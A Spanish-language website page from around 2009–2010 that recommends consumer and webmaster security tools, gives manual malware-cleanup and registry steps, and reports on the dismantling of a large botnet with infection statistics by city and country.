Fuente : **Personal Software Inspector**.

El usuario medio, sin Secunia PSI cuenta con 12 programas inseguros instalados en su PC.

¿ Vulnerable ?.

¿Sabía usted que muchos de los ataques de hackers y amenazas a la seguridad aprovechan en la actualidad las vulnerabilidades de software y errores de código?.

¿Conoce los programas que tiene instalados y que estos le pueden exponer a amenazas de seguridad?.

¿ Seguro ?.

¿Su PC está seguro?. ¿Tiene todas las últimas actualizaciones y los parches de seguridad al día?.

¡ Protéjase !.

Las revisiones de seguridad son generalmente libres y disponibles para descargar desde el programa de los proveedores. Deje que Secunia PSI determine exactamente las actualizaciones y parches que necesita para proteger su PC.

Secunia PSI - Personal Software Inspector es una herramienta de seguridad gratuita diseñada con el único propósito de ayudarle a proteger el equipo contra las vulnerabilidades en sus programas.

Software Informer

Fuente : **Software Informer**.

No siempre es suficiente saber que un programa, instalado en su PC, ha funcionado hasta ahora a prueba de fallos.

A pesar de que usted puede utilizar su software solamente para un conjunto definido de funciones, alguna vez puede ocurrir que algunos datos específicos o un sutil cambio en la configuración general produzca un conflicto que desconoce. El resultado puede ser un error de software que es preocupante, pero puede ser prevenido.

Software Informer es un programa que ha sido especialmente diseñado para aquellos usuarios que se preocupan de mantener sus aplicaciones funcionales listas para cualquier tarea que pueda surgir.

Su objetivo principal es darle una información general y específica de las descargas disponibles y actualizadas sobre el software que realmente utiliza.

Para ello, este programa hará una lista de aplicaciones instaladas en su ordenador y, posteriormente, realizará comprobaciones periódicas de las versiones y se lo comunicará de vez en cuando mediante una conexión a un servidor de expansión con una actualización constante de su lista de aplicaciones. Siempre le indicará una versión más reciente de cualquiera de los programas de que disponga, es decir, le notificará y ofrecerá un enlace para descargar la actualización.

Pero este programa va más allá. Le proporcionará una interfaz centralizada durante todo el proceso con el fin de obtener información pertinente sobre todas las herramientas que puedan interesarle. Lo que le permite hacer un seguimiento de las observaciones y preguntas sobre el software correspondiente.

AVG Anti-virus

Aunque en situaciones excepcionales de ataques malware debería ser suficiente que el anti-virus funcione sin más novedad que eliminar el software espía o virus informático que afecta nuestro ordenador, nos hemos encontrado con la necesidad de aplicar los productos de AVG Technologies para proteger nuestros PCs, situando en su bóveda de virus los archivos a reparar.

Por esta razón, recomendamos que en casos de extrema gravedad, recurran puntualmente a la utilización de este programa de seguridad, a pesar de tener instalado en su ordenador anti-virus de otros proveedores.

En ocasiones puede ocurrir que los cada vez más sofisticados medios de que dispone el malware para instalarse en su PC, hagan de su tarea por combatirlo con los recursos habituales, un medio ineficaz que no logre impedir su intrusión, haciendo prácticamente imposible detener la infección. Sin embargo, con la ayuda del Anti-virus de Grisoft y por experiencia, sabemos que ha sido posible eliminar la amenaza.

En el ejemplo que mencionamos, decidimos instalar esporádicamente y de una forma puntual esta aplicación aunque utilizamos habitualmente otros productos, fue a causa de un bloqueo por malware de las necesarias actualizaciones automáticas de nuestro anti-virus, lo cual provocó que se inhabilitara su actualización periódica, haciendo que nuestro ordenador quedara desprotegido, y expuesto a merced de cualquier software malintencionado de última generación.

Pudimos comprobar de este modo y una vez solucionada la incidencia que se hizo indispensable utilizarlo excepcionalmente para ayudar a nuestro habitual sistema de protección con el fin de solucionar problemas que puedan resultar ser potencialmente peligrosos.

AVG Anti-virus es una opción de calidad en su decisión de elegir entre los mejores programas de seguridad informática.

Anti-Virus de Grisoft.

Fuente : **AVG Technologies.**

Protección antivirus para satisfacer sus necesidades básicas de seguridad.

El nombre corporativo de Grisoft ha cambiado a AVG Technologies, pero desde siempre su filosofía ha sido que todos tienen derecho a la seguridad básica del equipo de forma gratuita.

Son 110 millones de usuarios los que utilizan sus productos de seguridad. De manera que si planea permanecer en línea e intercambiar archivos es una buena opción.

Navegue y realice búsquedas con confianza, mientras LinkScanner lo protege de sitios nocivos.

Obtenga protección en línea y fuera de línea contra virus, spyware y otras sorpresas desagradables.

Disfrute de un rendimiento uniforme y de alta velocidad del equipo con el nuevo analizador de virus mejorado.

Las actualizaciones automáticas mantienen la **protección básica anti-virus y anti-spyware para Windows disponible mediante descarga gratuita.**

JAVA applet

Verificación de instalación + Prueba de máquina virtual

Fuente : **Sun Microsystems.**

La tecnología Java se utiliza en los equipos integrados de automóviles, aviones, cohetes e incluso en la sonda Mars Rover de la NASA.

Ofrece interactividad con internet, gráficos en tiempo real para televisión, imágenes al instante para cámaras digitales, y otras aplicaciones para teléfonos móviles y equipos multimedia.

Asegúrese de que tiene instalada la versión de Java recomendada para su sistema operativo.

NOTA: si ha completado recientemente la instalación del software de Java, quizá deba reiniciar su navegador (cierre todas las ventanas del navegador y vuelva a abrirlas) antes de comprobar su instalación.

Prueba de la máquina virtual de Java.

Plataformas: Solaris, Linux, Windows ...

Navegadores: Internet Explorer, Firefox, Mozilla, Netscape ...

Versiones de Java: 1.4, 1.5, 6.0 ...

Para comprobar la configuración, el applet se muestra correctamente.

Bloqueo de seguridad en IE8

Filtrado InPrivate de la publicidad

Fuente : **Microsoft**.

1. Descargar fichero XML de Microsoft con el nombre de archivo comprimido rules.zip.
2. En la pestaña de seguridad de su navegador Internet Explorer 8, marque en el menú la opción de "configuración de Filtrado InPrivate".
3. En la ventana que aparece pulse en "bloquear automáticamente" y a continuación en "configuración avanzada".
4. En el menú que visualiza de administración de complementos, debe marcar "Filtrado InPrivate" y ejecutar acto seguido la opción de "Importar" ...
5. Cargue ahora el fichero XML descargado anteriormente importando su contenido al administrador de complementos ...
6. A partir de este momento, cuando desee bloquear los anuncios publicitarios, solamente deberá marcar en la pestaña de seguridad de Internet Explorer 8 la opción del menú : Filtrado InPrivate.

Network Safety

La seguridad de la red o trabajar con nuestro PC en un entorno seguro cuando nos conectamos a Internet son el motivo de este artículo.

Hemos podido comprobar que la implementación de varios programas antimalware y antispyware ofrecen un mínimo de garantías de desarrollar nuestras actividades minimizando al máximo el riesgo de ser blancos fáciles de los virus informáticos y software espía.

En la actualidad, y según las estadísticas más recientes, el 60 % de los PCs utilizados por los españoles se encuentran de un modo u otro infectados, el resto que solamente es del 40 % se ha visto obligado a utilizar estrategias seguras que permitan garantizar la protección efectiva de nuestros ordenadores.

Desde nuestra experiencia, podemos citar un ejemplo de entorno seguro con el único fin de no engrosar los altos índices citados a los que nuestro país se ha visto sometido, y que en definitiva, ronda el de los países con mayores valores de PCs infectados en el mundo.

Utilizaremos en nuestro caso práctico una plataforma Windows XP por tratarse de una aplicación muy generalizada hoy en día, que suele ir acompañada de Norton Internet Security + Anti-Virus, proveedor habitual cuando se adquiere un ordenador con software instalado de Microsoft.

A continuación, les recomendamos además de mantener actualizados los packs de dichas aplicaciones mediante la utilización con regularidad de Windows Update de Microsoft y LiveUpdate de Norton, la instrumentalización de los siguientes programas de seguridad y actualizaciones informáticas.

Asimismo, es recomendable realizar los exámenes de seguridad completos de nuestro PC con cada uno de los programas de seguridad señalados, con periodicidad semanal y tras actualizarlos.

Firewall, antimalware y antispyware.

1. Microsoft Security Essentials, que es la última novedad en cuanto a protección en línea, creado y desarrollado para plataformas de Windows.
2. Windows Defender, un programa antispyware y firewall de uso básico para PC.
3. AVG Anti-Virus de Grisoft, una aplicación anti-malware con altas prestaciones de seguridad (opcional).
4. Panda USB Vaccine, que nos permite asegurar nuestra protección contra las infecciones que provienen de la inserción de dispositivos USB.

Descargas y actualizaciones.

5. Software Informer, que nos permite ser notificados sobre descargas disponibles de aquellos programas instalados en nuestro ordenador que necesitan para ser seguros de una versión más actualizada.
6. Free Download Manager, una aplicación que facilita la descarga segura de software en la red, y cuyo complemento "Remote Control Server" nos ayuda a proteger con contraseña el puerto 8080, cerrando este acceso que suele ser la puerta trasera de entrada para virus y troyanos.

Exámenes de seguridad.

7. Malwarebytes Anti-Malware, especializado en detectar los archivos infectados con mayor dificultad de localización.

8. Windows Live OneCare, que tiene la particularidad de eliminar infecciones, corregir errores de código, reparar archivos desconfigurados, limpiar el sistema y desfragmentar el disco duro.

Navegadores.

9. Filtrado InPrivate de la publicidad, bloqueo de seguridad en Internet Explorer 8.

PING Test

Fuente : **SiteTimer OctaGate**.

Ping Test comprueba el estado de conexión y es una herramienta para webmasters que se aplica para confirmar el funcionamiento de las páginas electrónicas, es decir, el comportamiento de los diferentes elementos que componen la página web cuando se carga en el navegador al abrir el sitio en Internet.

Es una aplicación que se utiliza como refuerzo para hacer comprobaciones de seguridad que incluyen entre otras, la misma información que se obtiene de la directiva de privacidad de páginas web en Internet Explorer 8 o los detalles de malware y rendimiento de Google Labs (*).

¿Cómo funciona?

Cargas de ensayo de una página HTML completa, incluyendo todos los objetos (imágenes, CSS, JavaScripts, RSS, Flash y frames / iframes, etc ...). Que imita la forma como una página se carga en un navegador web.

El tiempo de carga de todos los objetos se muestra visualmente con barras de tiempo.

Puede ver la lista de los objetos, ya sea en el orden de carga o como una jerarquía.

Cada prueba también muestra estadísticas generales sobre la página cargada, como el número total de objetos, el tiempo de carga total, y el tamaño incluyendo todos los objetos.

Información del sitio web.

Hemos seleccionado como ejemplo para su aplicación, el blog + CMS (Content Manager System) de estrategia.info cuyos resultados se detallan en función de la siguiente información.

Tiempo de carga total: El tiempo total que tarda en cargarse la página incluyendo todos los objetos.

Total de objetos: El número total de objetos cargados que están relacionados con la página.

Los objetos externos: El número total de objetos de dominios externos.

(X)HTML: Documentos HTML / XHTML, marcos e iframes.

RSS/XML: Archivos y ficheros RSS y XML.

CSS: Cascading Style Sheets.

Scripts: JavaScripts externos.

Imágenes: GIF, JPEG, PNG e ICO.

Plugins: Archivos SWF de Flash.

Otros: Tipo Indeterminado.

Redireccionadas: Redirecciones a otras URL.

Informes estadísticos.

Las lecturas más importantes que interesan al webmaster son si todos los elementos cargados son los que se han autorizado y no existen por tanto intrusiones no autorizadas en el servidor remoto, lectura que también nos facilita la directiva de privacidad de páginas web en IE8.

Asimismo, comprobados los detalles de malware, se procede a leer el rendimiento del sitio, mediante la lectura del tiempo de carga promedio de todos los elementos, tal y como podemos comprobar en los detalles de malware y rendimiento de Google Labs.

El valor promedio de carga por elemento en el blog es de 2.3 seg. y en el CMS de 2.2 seg. lo cual significa que el tiempo de carga promedio para nuestro sitio es más rápido que el del 61-64 % de los sitios en la red ...

Monitorización.

La interpretación de los resultados que se desprende de la monitorización en los presentes informes estadísticos del blog y CMS, el tiempo promedio de carga actual es superior que en la toma de datos del 03/12/2009 (*) a causa del tiempo de espera que tardan los lectores de feeds que dependen de dominios externos, en leer la información de los ficheros RSS/XML

Notas.

(*) Para más información sobre **detalles de malware y rendimiento del sitio** (03/12/2009).

Fuente : Herramientas del Webmaster de Google Labs

La lectura de la seguridad según el rendimiento de la página web es un indicativo del buen funcionamiento de las medidas de protección del sitio en la red.

Las páginas de estrategia.info tardan una media de 1,2 segundos en cargarse (actualizado el 03/12/2009).

El tiempo de carga medio de nuestro sitio es más rápido que el del 85 % de los sitios en la red.

El rendimiento muestra cómo ha cambiado el tiempo de carga de página medio del sitio a lo largo de los últimos meses, es decir, diferenciando entre tiempos de carga rápidos y lentos, estos últimos se producían hace más de 90 días en el periodo comprendido entre el 25 de junio y 3 de septiembre de 2009, periodo durante el cual tuvimos que tomar medidas de seguridad para protegernos de los ataques de la piratería informática.

Google Labs sigue indicando para el dominio y subdominios de estrategia.info un lugar de navegación segura sin detección de malware y con un rendimiento máximo optimizado ...

IP - Internet Protocol

En algunas ocasiones como webmaster nos podemos encontrar ante el dilema de bloquear o no con las herramientas de que disponemos por ejemplo en un CMS (Content Manager System), la dirección IP - Internet Protocol de un usuario por cuestiones de seguridad.

Esto ocurre cuando desde un proxy, host, PC, etc ... se establece múltiples conexiones y su comportamiento puede provocar consecuencias erráticas para nuestro servidor, por citar un caso concreto, a causa del envío masivo de correos electrónicos (spam).

Por esta razón, y para evitar esta situación, en los mencionados CMS como XOOPS 2.0, se dispone de un recurso de desconexión automática como mínimo durante 30 min. de las IPs que son origen de conflictos y que comprometen nuestra protección.

Sin embargo, y ante la reincidencia de estos comportamientos en ocasiones no existe otro medio práctico que bloquear de manera permanente la dirección que origina estos problemas, mayormente porque son origen y resultado de un programa informático que opera automáticamente enviando e-mails de forma indiscriminada.

Asimismo, con independencia de modificar el código genérico y específico .htaccess en los ficheros del FTP - File Transfer Protocol y tras comprobar los motivos, como mencionamos en el ejemplo propuesto, envío masivo de correos electrónicos por spammers, podemos conocer información adicional sobre la IP monitorizada en el CMS y candidata a desconectar, antes de proceder a decidir su bloqueo definitivo.

Lookup IP.

Esta herramienta de consulta del protocolo de comunicación en una red está diseñada para proporcionar información adicional acerca de la dirección IP introducida.

Estos datos incluyen el nombre de host, la información de localización geográfica (incluye país, región o estado, ciudad, latitud, longitud y el código de área telefónica.). Y un mapa de ubicación específica. Los datos geográficos de referencia son extraídos de una base de datos de GPS - Global Positioning System.

La tecnología de geolocalización no es fiable al 100% en la prestación de ubicación puede estimarse en los casos óptimos sobre el 99%, aunque para las IPs en Estados Unidos, es del 90% a nivel estatal, y el 81% dentro de un radio de 25 millas. En general, y para todo el mundo la mínima precisión puede llegar a oscilar alrededor de un 60%.

Por ello, esta información no debe utilizarse para tratar de encontrar una dirección física exacta que requiera una precisión del 100% ...

Blacklist Check.

Esta opción que más nos interesa saber para decidir el bloqueo de la IP nos permite averiguar si la dirección de la que hemos buscado su información adicional, se encuentra en la lista negra de protocolos de Internet.

Defence Intelligence de Canadá detecta botnet responsable de ataques malware

Fuente : **Globedia**.

Descubiertos los servidores remotos de origen desconocido que inyectaban código malicioso en sitios legítimos y disponían de la información de cientos de miles de usuarios.

La denominada botnet (acrónimo de robot y red en inglés) fue detectada en mayo de 2009 por técnicos de la empresa canadiense Defence Intelligence, quienes crearon un grupo de trabajo para su seguimiento, junto a la empresa española Panda Security y el Georgia Tech Information Security Center. De manera paralela, la Oficina Federal de Investigaciones (FBI) inició una indagación sobre esa botnet y advirtió que un español estaba implicado, por lo que alertó a la Guardia Civil.

La investigación se avanzó en forma coordinada, lo que permitió conocer los vectores de infección de la botnet y sus canales de control de las computadoras ajenas. Asimismo, se determinó la existencia de un grupo de habla hispana, identificado como DDPTEAM, que había adquirido en el mercado del "malware" (programas maliciosos) el troyano utilizado.

La Guardia Civil explicó que una botnet es un conjunto de computadoras infectadas con un programa malicioso, que está bajo control de su administrador o "botmaster". Para su control, las computadoras infectadas, conocidas como bots, se conectan a un equipo llamado Command & Control (C& C) donde reciben instrucciones.

Las botnets pueden ser utilizadas para robar información de los propios equipos o para el uso clandestino de los mismos (envío de spam, atacar a terceros equipos o provocar denegaciones de servicio –DoS-).

El botmaster puede usar esa información para sí o alquilarla a terceros, práctica muy habitual en bandas organizadas dedicadas al fraude bancario.

Una de las botnets más grandes que se han detectado. En los registros efectuados en los domicilios de los detenidos fueron incautadas computadoras, material informático e información personal de más de 800 mil usuarios. "Los datos obtenidos por los ahora detenidos podían utilizarlos para sí o alquilarlos a bandas organizadas dedicadas al fraude bancario".

Dos prestadores de servicio americanos y uno español son los responsables directos de la infección de 13 millones de ordenadores.

En diciembre pasado, tras identificar casi todos los canales de control de esa botnet, se procedió en forma coordinada a nivel internacional para bloquear los dominios que había utilizado. Estos se localizaban en especial en dos prestadores de servicio americanos y uno español.

La Guardia Civil española, en colaboración con la FBI y Panda Security, detuvo a tres españoles que controlaban más de 13 millones de computadoras infectadas, de las que obtenían datos personales y financieros.

Técnicos canadienses de Defence Intelligence investigaron la denegación de servicio en miles de ordenadores en centros universitarios y administrativos de Canadá.

Tras ese bloqueo, se produjo un importante ataque de denegación de servicio a la empresa Defence Intelligence, lo que afectó de manera seria a un gran Proveedor de Acceso a Internet (ISP).

Además, dejó sin conectividad durante varias horas a miles de clientes, entre los que figuraron centros universitarios y administrativos de Canadá.

Esa acción permitió conocer el resto de canales de control de la botnet, que al final fueron bloqueados ...

Gadgets INFEX + ActiveScan de Panda Security

2 gadgets de utilidad para sus comprobaciones de seguridad en línea.

1. **INFEX** - The Malware Infection Index.

Índices estadísticos de infecciones por spyware en la red durante las últimas 24 h. con conexión a ActiveScan de Panda Security (Check + Project) para una examen completo de su PC.

2. **NanoScan** - Instant virus scan.

Análisis rápido de malware en su ordenador con indicaciones sobre el estado de su anti-virus (aplicaciones y actualizaciones) y recomendaciones a seguir.

Observaciones.

Tal como comentamos en el informe sobre internet y seguridad, puede suprimir manualmente todo el malware, según los resultados del informe exportado de ActiveScan tras un análisis completo del PC

Puede proceder a suprimir los trackingcookie, spyware y virus, abriendo con su navegador las carpetas contenedoras, accediendo a las mismas, y eliminando los archivos infectados.

Consideremos tal como describe los resultados del examen, las ubicaciones o rutas de acceso. El modo de proceder es abrir por ejemplo en la lista propuesta, el directorio :

c:\documents and settings\hp_propietario\cookies\

Situemos en la barra de direcciones de su navegador la ruta de acceso a la carpeta contenedora, una vez allí y tras abrir la ubicación, proceder a enviar el archivo a la papelera de reciclaje sin abrirlo:

hp_propietario@doubleclick[1].txt

Posteriormente, deberá eliminar completamente de su equipo todo rastro de malware vaciando la papelera de reciclaje, y operar de esta manera hasta suprimir todos los elementos infectados.

Declaraciones de Panda Labs sobre la botnet que afectó a 13 millones de usuarios en 190 países y 31.901 ciudades

Fuente : **Panda Security**.

Tras la reciente desarticulación de la botnet intervenida bajo el mando operativo conjunto de Panda Security, Defence Intelligence, FBI y la Guardia Civil española, que ha dado como resultado la detención de tres personas, y a través de la diferente información recopilada de la conocida trama, se ha descubierto que los 13 millones de ordenadores infectados con el bot están distribuidos en 190 países y en 31.901 ciudades diferentes.

Según Luís Corrons, director Técnico de Panda Labs, "los mayores ratios de infección los encontramos en países donde hasta ahora la educación de los usuarios en materia de seguridad informática y prevención no ha sido una prioridad. En cambio, otros países donde sí se están realizando este tipo de campañas en los últimos años, el nº de infecciones ha sido mucho menor, como es el caso de EE.UU., Alemania, UK o Japón".

El ranking de infecciones por ciudad está encabezado por Seúl, con un 5,36% de las IPs comprometidas; seguida por Bombay, con un 4,45%, y por Nueva Delhi, con el 4,27%. El top 20 es el siguiente:

- 1 Seúl 5.36%
- 2 Bombay 4.45%
- 3 Nueva Delhi 4.27%
- 4 México 3.89%
- 5 Bogotá 2.68%
- 6 Lima 1.98%
- 7 Kiev 1.68%
- 8 Bangalore 1.39%
- 9 Islamabad 1.24%
- 10 Teherán 1.23%
- 11 Kuala Lumpur 1.16%
- 12 Madrás 1.11%
- 13 Santiago de Chile 1.03%
- 14 El Cairo 1.01%
- 15 Hyderabad 0.82%
- 16 Santo Domingo 0.75%
- 17 Río de Janeiro 0.75%
- 18 Riad 0.72%
- 19 Medellín 0.65%
- 20 Dubai 0.63%

En cuanto a países, el ranking lo encabeza India, con el 19,14% de las infecciones; seguido por México, con el 12,85%, y Brasil, con el 7,74%. El top 20 de países afectados es el siguiente:

- INDIA 19.14
- MÉXICO 12.85
- BRASIL 7.74
- COREA 7.24
- COLOMBIA 4.94
- RUSIA 3.14

EGIPTO 2.99
MALASIA 2.86
UCRANIA 2.69
PAKISTAN 2.55
PERU 2.42
IRAN 2.07
ARABIA SAUDI 1.85
CHILE 1.74
KAZAKHSTAN 1.38
EMIRATOS ARABES UNIDOS 1.15
MARRUECOS 1.13
ARGENTINA 1.10
ESTADOS UNIDOS 1.05
(...)

"Gracias a la colaboración de las diferentes partes implicadas (...), el día 23 de diciembre a las 5:00 pm (GMT +1), dejamos sin servicio los servidores a los que se conectaba la botnet y redirigimos las peticiones a un servidor controlado por nosotros. Es en este momento cuando vimos la cantidad de IPs diferentes y únicas que estaban siendo controladas por el bot, casi 13 millones, y cuando tuvimos acceso a la información que nos da las cifras de los países y ciudades afectadas", continúa Luís Corrons.

Y añade: "Entre estas IPs hay tanto ordenadores de usuarios particulares como de empresas. Al dibujar en un mapa los países afectados, este es el resultado que nos da".

El Instituto de Tecnología de Georgia ha publicado una animación en la que se muestra el progreso de infección de la botnet. David Dagon, "Ph.D. Candidate" del Instituto de Tecnología de Georgia, comenta sobre la distribución geográfica: "Creo que un aspecto destacable de esta botnet es que es diferente a lo que siempre se comenta sobre infecciones. Normalmente, la prensa suele publicar que los botmasters de países del Este atacan a países occidentales. (Por ejemplo los botmasters rusos y víctimas de la Unión Europea o de Estados Unidos). En esta ocasión vemos lo contrario: botmasters de occidente, y víctimas del Este. La lección es muy clara: todos estamos ante una amenaza común".

Desde Panda Security recomendamos a todos los usuarios – ya sean particulares o empresas - que analicen en profundidad su PC para asegurarse que no tienen el bot ... Para ello, pueden utilizar la aplicación online y gratuita ActiveScan (...)

ParetoLogic Anti-virus PLUS

Fuente : **ParetoLogic**.

Cuidado con los ataques mediante archivos PDF.

Hoy en día los cibercriminales están utilizando métodos muy diferentes para poder entrar en su computadora y robar información personal como números de tarjetas de crédito, contraseñas, e información confidencial. Una forma muy común que trata de insertar malware en su sistema es usando las vulnerabilidades en archivos de Adobe Acrobat Reader que se pueden utilizar como una puerta de entrada para infectar su PC. Para detener estas amenazas existe un producto eficaz contra el virus y que es altamente recomendable.

Sugerimos ParetoLogic Anti-virus PLUS, que puede detectar, bloquear y limpiar estos virus. Instale las herramientas de seguridad y ejecute un examen personalizado, rápido o completo por si ha sido infectado por PDF exploits.

Nota : Para efectuar la eliminación manual de los archivos infectados que no se suprimen automáticamente mientras se realiza el examen de seguridad, puede seguir las mismas observaciones que recomendamos para ActiveScan Panda Security.

Revise la copia de seguridad de su página web, puesto que la bondad de este programa es encontrar códigos script maliciosos, que otros programas no localizan ...

Después de instalado este anti-virus de última generación y tras el análisis, deben revisar en la sección Active Protection, el apartado blocked events que detalla una lista de archivos de la copia de seguridad que han sido bloqueados porque contienen código malicioso ... teniendo que sustituir por una copia de seguridad anterior a la intrusión, el archivo infectado en su servidor.

ParetoLogic localiza generalmente scripts malintencionados en archivos login.php que hay que sanear ...

Editor de registro y restricciones del escritorio activo

En ocasiones puede ocurrir que después de un ataque por malware a su computadora se haya producido una modificación ajena a nuestra voluntad en el editor de registro, cambiando algunas propiedades, lo cual puede provocar una alerta de riesgo durante un examen de seguridad, por ejemplo con ParetoLogic Anti-virus PLUS en un sistema operativo Windows XP. En este caso, puede devolver a su estado original la configuración predeterminada, tal como se explica en el siguiente ejemplo y que es el más común que nos podemos encontrar.

Utilice el menú "Inicio" en el oficio de talonamiento de su monitor y desplegado marque la opción "ejecutar", a continuación en la casilla en la que debe escribir el nombre del programa, carpeta, documento o recurso de Internet que desea que Windows abra, debe poner "regedit.exe" y pulsar "aceptar". Aparecerá entonces, el editor de registro.

En el menú izquierdo deberá abrir en este orden las siguientes carpetas y subcarpetas.

1. HKEY_CURRENT_USER.
2. Software.
3. Microsoft.
4. Windows.
5. CurrentVersion.
6. Policies.
7. ActiveDesktop.

El fichero que buscamos es "NoChangingWallpaper" que hay que editar, marcando encima del nombre y con el botón derecho del mouse se despliega una ventana en la que aparece la opción "modificar", una vez pulsada se visualiza la información del valor, al que debe asignar el número "1", para activar la restricción de configuración, puesto que el malware lo modificó situando en esta casilla la cifra "0" que la desactivó.

La necesidad de realizar esta operación estriba en restringir acciones remotas sobre el escritorio activo de su ordenador, porque en caso contrario, su política de privacidad se vería afectada e implicaría un riesgo de seguridad para su PC.

Acunetix Web Vulnerability Scanner

Análisis de vulnerabilidades y auditoría de seguridad de su sitio web.

Acunetix Web Security Scanner es probablemente la herramienta de seguridad de más alto nivel que existe hoy en día para asegurar su sitio web.

Debe ser una prioridad para cualquier particular u organización poner su empeño, esfuerzo y energía en conseguir que la red sea un lugar seguro por el que navegar, porque los hackers están concentrando todos sus esfuerzos en las variadas aplicaciones, por ejemplo en las basadas en carros de compra de las tiendas online, en los formularios y páginas de acceso, en los contenidos dinámicos, etc ... que se encuentran en línea las 24 horas del día, 7 días a la semana, cuyo control de los datos importantes no escapa a ellos porque suelen hacer todo lo posible por tener acceso directo a las bases de datos de los clientes.

Firewalls, SSL y servidores bloqueados pueden resultar inútiles contra el pirateo, cualquier defensa a nivel de red de seguridad puede no proporcionar una total protección contra los ataques en el puerto 80, que tiene que permanecer abierto, y porque a menudo la plataforma de software es propensa a ser vulnerable.

Por esta razón, Acunetix comprueba automáticamente sus aplicaciones web para descubrir si es susceptible de inyección SQL, XSS u otras vulnerabilidades.

Programas.

La dirección electrónica en Internet de esta aplicación se puede descargar.

Y en archivo adjunto el manual en inglés con los 8 pasos necesarios para el análisis de vulnerabilidades y auditoría de seguridad de sus sitios web, tras instalar el programa informático Acunetix.

Para la lectura de los informes de análisis necesitan para su visualización del programa Report Viewer.

Ejemplos.

En nuestro caso, tuvimos que corregir una alerta máxima de nivel 3 que nos obligó a eliminar el archivo `imagemanager.php` en nuestro CMS (Content Manager System) del subdominio `psicologos.estrategia.info` (que es donde empezaron los ataques de la piratería informática que sufrimos del 25 de junio al 3 septiembre 2009) puesto que su configuración representaba una elevada vulnerabilidad. En la actualidad, nuestros dominios y subdominios de `estrategia.info` muestran un nivel de riesgo "0".

Advanced SystemCare : Programa de optimización para Windows

Fuente : **iObit Software**.

Advanced SystemCare, es un programa de optimización del sistema operativo, creado por iObit Software, empresa china con sede en Chengdu, que limpia y mantiene el ordenador, analiza el rendimiento y los problemas de seguridad, e incluye otras utilidades para mejorar el rendimiento del sistema y el disco, proteger los datos y tener una seguridad óptima en el PC, así como para controlar el sistema de Windows.

1. Limpieza de Windows. Limpia y mantiene el ordenador.

- Eliminación del spyware. Escanea y elimina el spyware y adware.
- Revisión del registro. Limpia el registro para mejorar el rendimiento.
- Limpieza de datos privados. Elimina tu historial y restos de internet u otros programas.
- Borrado de archivos. Borra los archivos temporales, recuperando espacio.
- ...

2. Prevención y mejora. Analiza el rendimiento y los problemas de seguridad.

- Sistema de optimización. Optimiza y repara la configuración del sistema.
- Inmunizar contra spyware. Previene el spyware en los archivos de tu PC.
- Desfragmentación de discos. Desfragmenta el disco para obtener mayor rendimiento.
- Análisis de seguridad. Escanea Windows para encontrar configuraciones hijacked.
- ...

3. Utilidades. Herramientas adicionales.

a. Sistema. Para mejorar el rendimiento del sistema y el disco.

- Check Disk. Comprueba la estructura del disco reparando errores relacionados con sectores corruptos, clusters perdidos, ficheros cruzados y directorios erróneos.
- Disk Cleaner. Limpia el disco buscando ficheros innecesarios y recupera espacio en el disco.
- Registry Defrag. Comprime y optimiza el registro eliminando las entradas innecesarias, reduciendo la fragmentación, corrigiendo errores estructurales y recobrando memoria sin usar.
- Shortcut Fixer. Repara accesos directos.
- ...

b. Seguridad. Para proteger los datos y tener una seguridad óptima en el PC.

- Backup Genuis. Supervisa y asegura el funcionamiento de los drivers (controladores, dispositivos, procesadores, etc ...)
- IE Helper. Controla la seguridad de Internet Explorer.
- NtBackup. Restaura configuraciones del sistema y documentos, realizando una copia de seguridad.
- Sfc. Comprueba los ficheros del sistema y valida la firma digital, restaurando los incorrectos.
- ...

c. Otras. Para controlar el sistema de Windows.

- Auto Shutdown. Apagado o reinicialización automática y programada del PC.
- Disk Explorer. Explorador del disco.
- Restore Center. Centro de restauración.
- System Information. Información del sistema.
- ...

NoVirusThanks Malware Remover

NoVirusThanks Malware Remover es una aplicación diseñada para detectar y eliminar malware genérico y específico (troyanos, virus, etc ...) u otras amenazas que pueden dañar su computadora. También incluye la posibilidad de eliminar spyware y adware.

Lo recomendamos porque es un programa muy práctico y fácil de usar que escanea en tiempo real de forma rápida y no usa o necesita gran cantidad de memoria virtual, incluso se puede ejecutar junto a las aplicaciones que consumen por rendimiento altos recursos mientras están funcionando.

Características principales.

- Método de desinfección.
- Quita programas y aplicaciones no deseadas.
- Elimina malware, spyware y adware.
- Quick Scan y Full Scan : análisis rápido y completo de registros, módulos y procesos.
- Copia de seguridad de archivos y carpetas.
- Manual para la actualización de base de datos.

Información sobre el producto.

- Comprobación de archivos.
- Sistema operativo : Windows.
- Idioma : multilingüe.
- Licencia : Freeware.

RSS y CSS Validation Service

W3C - World Wide Web Consortium pone a disposición de los webmasters un servicio en línea con el objetivo de validar los feeds de sindicación en sus variados formatos y verificar las hojas de estilo de las páginas electrónicas. Un test gratuito con licencia OSI - Open Source Initiative que comprueba la sintaxis de archivos y ficheros.

Validar la sintaxis RSS.

RSS - Really Simple Syndication.
XML - Extensible Markup Language.

Verificar las hojas de estilo CSS.

CSS - Cascading Style Sheets.
CMS - Content Management System.

Selección del explorador

El explorador es un importante componente de software para su equipo, se utiliza para navegar por Internet y abrir los sitios web que visita.

Hay varios exploradores disponibles y cada uno de ellos con variadas características. En la siguiente lista se muestran los más utilizados. Nuestra recomendación es IE - Internet Explorer 8.

Avant. Diminuto, rápido, simple, altamente configurable y extensible.

Google Chrome. Un nuevo navegador de Google, más rápido y sencillo.

Internet Explorer. Te ayuda a controlar tu privacidad. Diseñado por Microsoft.

Maxthon. Bloqueador de anuncios y ganador dos veces de los premios Webware.

Mozilla Firefox. Tu seguridad en Internet es la prioridad principal de Firefox.

Netscape. El clásico navegador de uso polivalente y multifuncional.

Opera. Seguro, potente, y con excelente protección de la privacidad.

Safari. Apple para Windows, el navegador web más innovador del mundo.

Norton Safe Web y McAfee Site Advisor

Norton Safe Web y McAfee Site Advisor son herramientas de gran utilidad para webmasters y usuarios, que resultan ser a día de hoy el mejor modo de evaluar la seguridad de un sitio web en la red. Ambos sistemas disponen de formularios en línea para el análisis de riesgos.

Norton Safe Web indica el nivel de amenazas para su equipo e identidad y que se detalla por virus heurísticos, programas de descargas no autorizadas o maliciosas, aplicaciones sospechosas, troyanos y spyware, publicidad no deseada, ataques de phishing, puertas traseras o software de acceso remoto, sustracción de información u otros riesgos.

McAfee Site Advisor muestra los resultados de la prueba de seguridad web automatizada para el correo electrónico, con un análisis de descargas detallado, una muestra de afiliaciones en línea o vínculos a sitios seguros, así como otros contenidos de revisión sobre software publicitario, espía u otros programas no deseados, spam, phishing y otras estafas, elementos emergentes y vulnerabilidades.

CMS Xoops : Módulos de seguridad y mantenimiento

